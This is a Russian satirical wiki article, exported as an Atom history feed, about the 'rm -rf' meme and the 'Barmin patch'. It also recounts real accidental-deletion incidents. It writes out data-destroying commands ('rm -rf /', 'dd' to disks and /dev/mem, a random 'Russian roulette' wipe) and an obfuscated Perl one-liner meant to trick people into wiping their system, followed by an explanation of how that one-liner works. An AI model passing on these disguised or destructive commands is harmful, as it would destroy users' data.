<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=Rm_-rf</id>
	<title>Rm -rf - История изменений</title>
	<link rel="self" type="application/atom+xml" href="https://t8.lbstr.eu/index.php?action=history&amp;feed=atom&amp;title=Rm_-rf"/>
	<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=Rm_-rf&amp;action=history"/>
	<updated>2026-11-03T06:41:04Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.43.9</generator>
	<entry>
		<id>https://t8.lbstr.eu/index.php?title=Rm_-rf&amp;diff=4145&amp;oldid=prev</id>
		<title>imported&gt;Bugurt: Рабочая ссылка (архив)</title>
		<link rel="alternate" type="text/html" href="https://t8.lbstr.eu/index.php?title=Rm_-rf&amp;diff=4145&amp;oldid=prev"/>
		<updated>2021-01-27T19:06:45Z</updated>

		<summary type="html">&lt;p&gt;Рабочая ссылка (архив)&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[Файл:547.jpg|thumb|sudo rm -rf *]]&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;rm -rf&amp;#039;&amp;#039;&amp;#039; — [[Линупс|линуксовая]] команда (если быть более точным, [[Unix]]&amp;#039;овая, однако в [[интернеты|интернетах]] больше ассоциируется с Линуксом).&lt;br /&gt;
Обычно употребляется в виде &amp;#039;&amp;#039;&amp;#039;«rm -rf /*»&amp;#039;&amp;#039;&amp;#039; (почему — см. ниже)&lt;br /&gt;
&lt;br /&gt;
== Значение ==&lt;br /&gt;
* Сама команда &amp;#039;&amp;#039;&amp;#039;rm&amp;#039;&amp;#039;&amp;#039; — удалить (remove) (файл(ы) и/или каталог(и)).&lt;br /&gt;
* Ключ &amp;#039;&amp;#039;&amp;#039;-r&amp;#039;&amp;#039;&amp;#039; — recursively (рекурсивно) — позволяет удалять каталоги со всем содержимым, без этого ключа команда отвечает «каталог не пуст».&lt;br /&gt;
* Ключ &amp;#039;&amp;#039;&amp;#039;-f&amp;#039;&amp;#039;&amp;#039; — force — не спрашивать подтверждения (вообще команды Linux не страдают обычным [[маздай|маздаевским]] назойливым переспрашиванием «а Вы точно уверены?», это редкое исключение (и то, только потому, что почти всегда по умолчанию в .bashrc прописано alias rm=&amp;#039;rm -i&amp;#039;)). Некоторые побочные эффекты опции описаны в [[ман]]е.&lt;br /&gt;
* Традиции Unix позволяют в большинстве программ объединять ключи, то бишь &amp;#039;&amp;#039;&amp;#039;«-rf»&amp;#039;&amp;#039;&amp;#039; эквивалентно &amp;#039;&amp;#039;&amp;#039;«-r -f»&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
* Фактически ключ &amp;#039;&amp;#039;&amp;#039;«-rf»&amp;#039;&amp;#039;&amp;#039; по действию аналогичен фразе «[[Быстро, решительно|Всё и сразу!]]».&lt;br /&gt;
&lt;br /&gt;
Таким образом, суть команды — удалить каталог рекурсивно, не спрашивая подтверждения. Обычно речь идёт о «/» — корневом каталоге. Большинство современных юниксов (свежие версии OpenSolaris и GNU/Linux) не дают ламеру [[выстрелить себе в ногу]]: rm -rf / не работают. Хотя всё спокойно удаляется при использовании ключа &amp;#039;&amp;#039;&amp;#039;«--no-preserve-root»&amp;#039;&amp;#039;&amp;#039;. Кагбэ так: &amp;#039;&amp;#039;&amp;#039;«rm -rf / --no-preserve-root»&amp;#039;&amp;#039;&amp;#039; Kekeke.&lt;br /&gt;
Есть и другой вариант: &amp;#039;&amp;#039;&amp;#039;rm -rf /*&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
[[FreeBSD]] понимает эту команду в несколько изменённом виде: &amp;#039;&amp;#039;&amp;#039;rm -fr /&amp;#039;&amp;#039;&amp;#039;, а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно.&lt;br /&gt;
&lt;br /&gt;
[[Windows]] понимает эту команду как &amp;#039;&amp;#039;&amp;#039;rmdir /s /q C:\&amp;#039;&amp;#039;&amp;#039; или &amp;#039;&amp;#039;&amp;#039;rd /s /q C:\&amp;#039;&amp;#039;&amp;#039;, где /s — аналог -r, а /q — аналог -f. При этом удаляется только содержимое диска C: из-за отличий в файловой системе: в мелкомягких ОС начиная с MS-[[DOS]] 1.0 рут не один, а до 26 разных, и одной «страшной» командой типа rmdir /s, deltree или format можно грохнуть только один диск за раз. В винде теоретически есть суперкорень «Мой компьютер», но этот каталог виртуальный, фиктивный и не существует в реальной файловой системе, поэтому «страшные команды» по нему не проходят как по негодному аргументу. Впрочем, есть и другой способ: установить [[:w:Cygwin|Cygwin]] и воспользоваться традиционной командой.&lt;br /&gt;
&lt;br /&gt;
== Использование ==&lt;br /&gt;
[[Файл:Rm rf example.png|thumb|Пример использования]]&lt;br /&gt;
&lt;br /&gt;
Использование команды двояко:&lt;br /&gt;
* В качестве травли линукс-[[нуб]]ов или тонкого намёка пойти нахуй; [http://archive.today/E2zng]&lt;br /&gt;
* В качестве травли [[ламер]]ов, которые работают в системе, в том числе сидят в интернетах, из-под [[рут]]а. Обычно в этом случае заветная строчка [[Программа из одной строчки на Perl|маскируется]] (ибо примитивный вариант проходит только с нубами):&lt;br /&gt;
&amp;lt;pre&amp;gt;echo &amp;quot;test... test... test...&amp;quot; | perl -e &amp;#039;$??s:;s:s;;$?::s;;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{;;y; -/:-@[-`{-};`-{/&amp;quot; -;;s;;$_;see&amp;#039; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Тем, кто не понял, расскажет [[Крыса-кун]]: порция &amp;lt;code&amp;gt;echo &amp;quot;test... test... test...&amp;quot;&amp;lt;/code&amp;gt; на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли с заданным в кавычках текстом — в данном случае следующая строчка будет содержать «test… test… test…»&lt;br /&gt;
&amp;lt;pre&amp;gt;$ echo &amp;quot;test... test... test...&amp;quot;&lt;br /&gt;
test... test... test...&lt;br /&gt;
$&amp;lt;/pre&amp;gt;&lt;br /&gt;
А вот что происходит в Perl&amp;#039;овом коде — совсем не очевидно из-за &amp;lt;del&amp;gt;того, что это язык [[вуду]]&amp;lt;/del&amp;gt; преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$? ? s:;s:s;;$?: : s;;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{; ;&lt;br /&gt;
y; -/:-@[-`{-};`-{/&amp;quot; -; ;&lt;br /&gt;
s;;$_;see&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — &amp;lt;code&amp;gt;s;;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{;&amp;lt;/code&amp;gt;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на &amp;lt;code&amp;gt;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`{&amp;lt;/code&amp;gt; (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш &amp;#039;/&amp;#039; или труба &amp;#039;|&amp;#039;, для неясности в этой конструкции используется ограничитель &amp;#039;;&amp;#039;).&lt;br /&gt;
&lt;br /&gt;
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  !&amp;quot;#$%&amp;amp;&amp;#039;()*+,-./:;&amp;amp;lt;=&amp;amp;gt;?@[\]^_`{|}&lt;br /&gt;
 `abcdefghijklmnopqrstuvwxyz{/&amp;quot; -&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В результате содержимое $_ принимает вид &amp;lt;code&amp;gt;system&amp;quot;rm -rf /&amp;quot;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Третья же команда дважды (как инструктирует флаг &amp;lt;code&amp;gt;ee&amp;lt;/code&amp;gt;) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат замены [[всем похуй|уже не интересен]].&lt;br /&gt;
[http://forum.saransk.ru/index.php?s=&amp;amp;showtopic=8249&amp;amp;view=findpost&amp;amp;p=118653 Еще подробнее]&lt;br /&gt;
&lt;br /&gt;
Есть еще один вариант, уже для нубов, считающих себя Ъ-линуксоидами:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
mkdir test&lt;br /&gt;
cd test&lt;br /&gt;
touch ./-r&lt;br /&gt;
touch ./-f&lt;br /&gt;
su&lt;br /&gt;
rm * /&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Под Windows 9x данный патч был всё-таки портирован и принял вид&lt;br /&gt;
&amp;lt;code&amp;gt;deltree /y e: d: c:&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона на отдельных хардах/разделах (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только [[быстро, решительно|быстрый, решительный]] Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).&lt;br /&gt;
&lt;br /&gt;
Также, вариант для новых &amp;lt;code&amp;gt;coreutils&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
echo &amp;quot;test... test... test...&amp;quot; | perl -e &amp;#039;$??s:;s:s;;$?::s;;=]=&amp;gt;%-{&amp;lt;-|}&amp;lt;&amp;amp;|`~{;;y; -/:-@[-`{|~};`-{/&amp;quot; *-;;s;;$_;see&amp;#039;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== rm -rf /usr и Bumblebee ===&lt;br /&gt;
Недавний пример [[Я случайно X|случайного]] использования мема случился летом 2011 года в проекте [[Трансформеры|Bumblebee]], представляющем собой [[костыль]] для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку с [[Очепятка|лишним пробелом]]:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm -rf /usr /lib/nvidia-current/xorg/xorg&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Эта строка, как нетрудно заметить, удаляет директорию /usr, в которой в современных линуксах содержатся чуть менее, чем все библиотеки, бинарники, и всё остальное. Баг был быстро пойман и исправлен, что не помешало [https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/commit/a047be85247755cdbe0acce6f1dafc8beb84f2ac багтрекеру проекта на github] стать на несколько дней филиалом [[форчан]]а, с [[макрос]]ами, [[My Little Pony|пони]] и [[Блэкджек и шлюхи|прочим]].&lt;br /&gt;
&lt;br /&gt;
=== rmdir /s /q C:\ и Яндекс&amp;lt;nowiki&amp;gt;.&amp;lt;/nowiki&amp;gt;Диск ===&lt;br /&gt;
В конце ноября — начале декабря 2013 г. счастливые пользователи [[Яндекс]]&amp;lt;nowiki&amp;gt;.&amp;lt;/nowiki&amp;gt;Диска были обрадованы тем, что их ОС либо наотрез отказалась запускаться, либо запускалась, но без установленных программ. Как [http://habrahabr.ru/post/204580/ выяснилось], всему виной оказалось обновление Яндекс.Диска, которое отличилось широкой русской душой и вместо папки со старой версией «Диска» удаляло весь диск C:, на котором тот находился. Что характерно, проблема возникала прежде всего у пользователей, нарушивших заповедь «[[Не работай под рутом]]», вот только у многих считающих себя умнее системных архитекторов [[Windows]] юзверей это — нормальная ситуация. Особенно доставили объяснения менеджера Яндекса, призвавшего пользователей не удалять Яндекс.Диск, потому что патч Бармина скрывался именно в модуле деинсталляции. Спешите видеть — Яндекс взял в заложники ваш жесткий диск и хладнокровно убьет его, если вы попытаетесь удалить захватчика!&lt;br /&gt;
&lt;br /&gt;
=== rm -rf my-company ===&lt;br /&gt;
Марко Марсала, который когда-то был хостинг-провайдером. Небольшим таким хостинг-провайдером с полутора тысячами пользователей. И он случайно запустил на всех серверах bash-скрипт, содержащий строчку &amp;lt;nowiki&amp;gt;rm -rf {foo}/{bar}&amp;lt;/nowiki&amp;gt;. И всё бы ничего, но он забыл придать какие-нибудь значения переменным foo и bar… Когда Марко пришёл на айтишный форум спрашивать, как теперь можно починить всё взад, ему так и не удалось добиться внятного ответа, потому что форумные петросяны, вместо того, чтобы посочувствовать, наперебой спешили сообщить ему, что он смог одной строчкой кода [http://www.independent.co.uk/life-style/gadgets-and-tech/news/man-accidentally-deletes-his-entire-company-with-one-line-of-bad-code-a6984256.html удалить свою компанию].&lt;br /&gt;
&lt;br /&gt;
== Патч Бармина ==&lt;br /&gt;
В около[[фидо]]шных кругах &amp;#039;&amp;#039;rm -rf&amp;#039;&amp;#039; часто называют &amp;#039;&amp;#039;патчем Бармина&amp;#039;&amp;#039; — в честь Владимира Бармина, UNIX-админа. Последний, в релкомовской группе новостей, на вопросы вида «как починить &amp;#039;&amp;#039;&amp;lt;…&amp;gt;&amp;#039;&amp;#039; в SCO Unix?» несколько раз ответил «универсальным патчем: rm -rf / от [[рут]]а».&lt;br /&gt;
&lt;br /&gt;
На основе данного патча была разработана комбинация, получившая название Русской Рулетки.&lt;br /&gt;
&lt;br /&gt;
 # [ $[ $RANDOM % 6 ] == 0 ] &amp;amp;&amp;amp; rm -rf /* || echo &amp;quot;Жив&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем [[:w:Закон о блогерах|свыше 3000 посещений в день]].&lt;br /&gt;
Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils.&lt;br /&gt;
&lt;br /&gt;
Версия Русской Рулетки под Windows:&lt;br /&gt;
&lt;br /&gt;
 set /a R=0+(6*%random%)/%random% &amp;amp; if !R! == 0 (rd /s /q .\) else (echo alive!)&lt;br /&gt;
&lt;br /&gt;
Сей перл не заработает, если перед этим не включить расширенную обработку команд:&lt;br /&gt;
&lt;br /&gt;
 setlocal enabledelayedexpansion&lt;br /&gt;
&lt;br /&gt;
А всё потому, что в этой вашей винде она по умолчанию выключена, а вытащить переменную в знаках «!» можно только при ней включенной. Nuff said.&lt;br /&gt;
&lt;br /&gt;
=== Патч Бармина и корпорация Avaya ===&lt;br /&gt;
В 2013 году вышла версия системы статистики и управления Avaya Call Management System R17, которая наконец-то была портирована с этих ваших соларисов на Linux. В частности, там содержался скрипт cleanup, который по замыслу индусов должен был чистить мусор. В самом конце был такой код:&lt;br /&gt;
&lt;br /&gt;
 TMPLIST=`ls -1A /tmp | sed &amp;#039;s/^/tmp\//&amp;#039; | egrep -v &amp;quot;$EXCL_RM_MEDIA&amp;quot;`&lt;br /&gt;
 cd /&lt;br /&gt;
 # Remove files in /tmp that have not been accessed in 28 days&lt;br /&gt;
 find $TMPLIST -xautofs -xdev -mtime +28 -exec rm -rf {} \; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
Забавный эффект обнаруживался, если директория /tmp была пустая. Корпорация объяснила это тем, что в solaris путь для find — обязателен, а в Linux — нет.&lt;br /&gt;
&lt;br /&gt;
=== Патч Бармина живее всех живых ===&lt;br /&gt;
В конце января 2016 некий арчевод решил поиграться этим известным патчем перед тем как переразметить свой диск.&lt;br /&gt;
Он старательно вписал в команду даже специальный ключ, без которого этот патч не запускается… Ну… и… получил кирпич из своего MSI нетбука — после включения даже подсветка экрана не загоралась!&lt;br /&gt;
&lt;br /&gt;
Как нетрудно догадаться патч вытер вместе с корнем еще и переменные UEFI в NVRAM, которые монтируются в /sys/firmware/efi/efivars/, но принципиально это не могло быть проблемой, потому как по стандарту UEFI должна проверять целостность данных в NVRAM, и в случае нарушения целостности она ОБЯЗАНА осуществить инициализацию NVRAM до состояния настроек по умолчанию/фабричных (Factory Default). Но вот в MSI решили подзабить на проверку целостности NVRAM, и незадачливый арчевод потащил свой &amp;lt;del&amp;gt;нетбук&amp;lt;/del&amp;gt; кирпич в сервис.&lt;br /&gt;
&lt;br /&gt;
После этой новости состоялся эпичненький наезд[https://github.com/systemd/systemd/issues/2402] на [[Леннарт Поттеринг|разработчиков]] systemd (а на них — грех не поругаться, они же сами постоянно подкидывают &amp;lt;del&amp;gt;подлянки&amp;lt;/del&amp;gt; поводы для вполне обоснованной ругани в свой адрес): мол какого лешего, SystemD монтирует эти переменные с возможностью записи!? Давайте быстро переделывайте на монтирование в режиме только-чтение. На что был дан резонный ответ — доступ на запись нужен утилитам, и разрешена запись только руту, который при желании примонтирует эти переменные в режиме записи. Так что, это не защитит от &amp;lt;del&amp;gt;идиотов&amp;lt;/del&amp;gt; &amp;lt;del&amp;gt;дураков&amp;lt;/del&amp;gt; «умников», которые экспериментируют с патчем Бармина.&lt;br /&gt;
&lt;br /&gt;
Самое же примечательное в этой истории то, что 20 лет назад отпущенная шутка, до сих пор стреляет, да еще с невиданной доселе мощью.&lt;br /&gt;
&lt;br /&gt;
=== Пруфлинки ===&lt;br /&gt;
* [http://groups.google.com/group/relcom.fido.ru.unix/msg/055df10ee9eeb5f6?dmode=source&amp;amp;output=gplain Пост про rm -rf /, 23 февраля 1996]&lt;br /&gt;
* [http://groups.google.com/group/relcom.fido.ru.unix/msg/de9d36b15cf7664f Бармин о SCO, 3 октября 1996]&lt;br /&gt;
* [http://3apa3a-b-ta3e.livejournal.com/289534.html Копия письма выше и упоминание патча]&lt;br /&gt;
* [http://groups.google.com/group/relcom.fido.ru.unix/browse_thread/thread/3d8087a6dce4253d/c5a359aa955de7a1?lnk=st&amp;amp;q=rm#c5a359aa955de7a1 «Универсальное решение — rm», 16 октября 1996]&lt;br /&gt;
* [http://groups.google.com/group/relcom.talk/msg/a183d7e9d9d91f5c А. Лисовский подробно рассказывает о назначении патча, 02 февраля 1996]&lt;br /&gt;
* [http://groups.google.com/group/relcom.postmasters.d/browse_thread/thread/ad854c7919b461b2/11498cd775a622b0#11498cd775a622b0 Настоящий Владимир Бармин и его патч для шлимыла, 06 августа 1998]&lt;br /&gt;
* [http://groups.google.com/group/relcom.tcpip/msg/58c8a27cf35227b6 Порт патча под винду? конец 1997 года]&lt;br /&gt;
* [http://groups.google.com/group/ntu-kpi.comp.software/msg/d2a0d119784f0c1c Типичное использование, 2007 год]&lt;br /&gt;
* [http://www.linux.org.ru/view-message.jsp?msgid=392747 Просьба о помощи Perl-программисту на LOR&amp;#039;е]&lt;br /&gt;
* [https://downloads.avaya.com/css/P8/documents/100177034 PSN Avaya об удалении файлов]&lt;br /&gt;
* [http://www.opennet.ru/opennews/art.shtml?num=43795 О новой супер-силе патча на сиcтемах с UEFI]&lt;br /&gt;
&lt;br /&gt;
== Алсо ==&lt;br /&gt;
Есть более кровожадный вариант sudo dd if=/dev/zero of=/dev/sda, который заполняет раздел носитель /dev/sda нулями, вероятность сохранения данных обратно пропорциональна времени реакции поциэнта (с момента нажатия на [Enter] до момента прерывания команды нервным нажатием Ctrl+C).&lt;br /&gt;
&lt;br /&gt;
После этого уже в первую секунду даже на дешевом механическом 5400RPM HDD занулит 40 мегабайт вместе с таблицей разделов, загрузчиком и остальными метаданными файловой системы. И оно уже никогда не загрузится&lt;br /&gt;
без дополнительного геморроя.&lt;br /&gt;
&lt;br /&gt;
Вообще довольно странно, что rm -rf победил dataset definition в массовом сознании. Ведь он гораздо более разрушителен и кошерен.&lt;br /&gt;
&lt;br /&gt;
Можно например сделать адовый скример перенаправив весь жесткий диск в звуковую карту.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;  sudo dd if=/dev/hda of=/dev/dsp bs=8M &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Или тупо забивать оперативную память случайными числами.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;  sudo dd if=/dev/urandom of=/dev/mem bs=8M &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Жаль что там нет псевдоустройства для доступа к BIOS прошивке, тогда можно было бы окончательно решить вопрос с материнской платой красноглазика, если у него (U)EFI BIOS и то благодаря [[Леннарт Поттеринг|Поттерингу]]: [https://www.linux.org.ru/news/kernel/12318786]&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* [http://www.opennet.ru/man.shtml?topic=rm&amp;amp;category=1&amp;amp;russian=0 Ман на русском по команде «rm»]&lt;br /&gt;
* [http://web.archive.org/web/20130530052149/http://meegos.ru/forum/viewtopic.php?id=2946 Жертва команды]&lt;br /&gt;
* [http://web.archive.org/web/20110623080108/https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6 Это случается с лучшим из нас]&lt;br /&gt;
* [http://web.archive.org/web/20140303130907/http://forum.ubuntu.ru:80/index.php?topic=84741.0 Жертва dd if=/dev/zero of=/dev/sda]&lt;br /&gt;
&lt;br /&gt;
== См. также ==&lt;br /&gt;
* [[Программа из одной строчки на Perl]]&lt;br /&gt;
* [[Alt+F4]]&lt;br /&gt;
* [[127.0.0.1]]&lt;br /&gt;
* [[Wishmaster]]&lt;br /&gt;
* [[Крякер инета]]&lt;br /&gt;
* [[Quit|/quit]]&lt;br /&gt;
&lt;br /&gt;
{{Оси}}&lt;br /&gt;
{{Software}}&lt;br /&gt;
&lt;br /&gt;
[[Категория:Люнекс]]&lt;br /&gt;
[[Категория:Матчасть]]&lt;br /&gt;
&lt;br /&gt;
{{DISPLAYTITLE:rm -rf}}&lt;/div&gt;</summary>
		<author><name>imported&gt;Bugurt</name></author>
	</entry>
</feed>